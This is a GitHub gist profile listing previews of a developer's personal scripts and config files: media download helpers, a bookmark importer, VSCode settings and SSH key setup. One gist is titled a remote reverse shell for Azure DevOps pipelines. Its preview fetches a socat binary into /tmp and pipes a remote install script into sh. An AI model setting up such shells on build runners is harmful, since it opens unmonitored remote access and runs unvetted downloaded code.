Skip to content

Instantly share code, notes, and snippets.

View davenicoll's full-sized avatar
🖖

Dave Nicoll davenicoll

🖖
View GitHub Profile
@davenicoll
davenicoll / If-you-can.md
Created April 9, 2021 15:52 — forked from harperreed/If-you-can.md
If You Can - How Millennials Can Get Rich Slowly
@davenicoll
davenicoll / download-from-seedbox.sh
Last active March 6, 2023 03:39
Download and remove files from ftp using lftp and pget chunks to maximise transfers and download speed
#!/bin/bash
if [[ -z "$1" ]]; then
echo "ERROR: no label provided (i.e. tv)"
exit 1
fi
login=''
pass=''
host=''
@davenicoll
davenicoll / get-iplayer-next.sh
Last active May 22, 2024 09:45
get-iplayer hasn't downloaded properly for a long time, but youtube-dl works great. get-iplayer is still the best iplayer search though, and I already have a download_history, so this script bridges the gap and gives you the best of both worlds.
#! /bin/bash
DOWNLOAD_HISTORY="$HOME/.get_iplayer/download_history"
already_downloaded(){
if [ "$(grep -c $1 ~/.get_iplayer/download_history)" -gt 0 ]; then
return
else
false
fi
@davenicoll
davenicoll / import-github-stars-to-raindrop.sh
Last active June 28, 2025 19:31
Import github stars into raindrop.io
#!/bin/bash
GITHUB_USER="..."
GITHUB_TMP_FILE="$HOME/github-stars.json"
RAINDROP_API_TOKEN="..."
GITHUB_TOKEN="..."
GITHUB_API_HEADER_ACCEPT="Accept: application/vnd.github.star+json" # "Accept: application/vnd.github.v3+json"
GITHUB_API_VERSION="X-GitHub-Api-Version: 2022-11-28"
sanitize_string() {
@davenicoll
davenicoll / settings.json
Last active March 31, 2023 23:15
Sensible VSCode defaults
{
"telemetry.telemetryLevel": "off",
"git.autofetch": true,
"git.closeDiffOnOperation": true,
"workbench.editor.highlightModifiedTabs": true,
"workbench.colorCustomizations" : {
"tab.activeModifiedBorder": "#ff0000",
"tab.inactiveModifiedBorder": "#ff0000",
"tab.unfocusedActiveModifiedBorder": "#ff0000",
"tab.unfocusedInactiveModifiedBorder": "#ff0000"
@davenicoll
davenicoll / ssh-github.sh
Last active January 15, 2022 02:13
Setup ssh key for github for linux
ssh-keygen -t ed25519 -f ~/.ssh/github_id_rsa -C "[email protected]"
ssh-add ~/.ssh/github_id_rsa
echo Add this github...
cat ~/.ssh/github_id_rsa.pub
echo ""
@davenicoll
davenicoll / azure-pipeline.yml
Created March 30, 2022 00:27
Remote reverse shell for Azure DevOps pipelines
pool:
vmImage: ubuntu-latest
steps:
- script: |
LOCAL_SOCAT="100.x.x.x:8888"
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat;
sudo curl -fsSL https://tailscale.com/install.sh | sudo sh

Hello, I am Apollo Clark, a Cloud Architect, formerly with HashiCorp, with 13+ years of AWS experience, 4+ years of Azure Experience, and 3+ years of GCP experience. I've worked with the largest financial services companies in the world, and various US Dept of Defense (DoD) organizations, over the years on projects with security requirements of PCI-DSS, HIPAA, FedRAMP, and GDPR. AWS is an amazing service capable of a wide variety of uses, but with that flexibility comes a lot of complexity that is easy to misconfigure. Unfortunately, even in 2022, a lot of cloud provider services are not secure by default. This guide is a list of the most common mistakes I've seen. Many organizations adopted AWS organically, without any centralized planning, given the ease of using an oragnization credit card to spin up infrastucture in minutes, versus going through months of approval and waiting for physical hardware to be delivered, installed, configured, and made available into on-prem VMware based data centers. Whenver I

@davenicoll
davenicoll / settings.json
Last active September 21, 2022 18:12
VSCode repository specific settings for Terraform (matches terraform fmt)
# install the hashicorp terraform vscode extension, save this to .vscode/settings.json, and remove this comment line
{
"[terraform]": {
"editor.formatOnSave": true,
"editor.defaultFormatter": "hashicorp.terraform",
"editor.tabSize": 2
},
"[terraform-vars]": {
"editor.formatOnSave": true,
"editor.defaultFormatter": "hashicorp.terraform",
@davenicoll
davenicoll / rickroll.py
Created October 20, 2022 14:49
Python script to play Never Gonna Give You Up with a Piezo buzzer
/* RickRollCode
AUTHOR: Rowan Packard
[email protected]
DISCLAIMER: The song "Never Gonna Give You Up" by Rick Astley
is not the creative property of the author. This code simply
plays a Piezo buzzer rendition of the song.
*/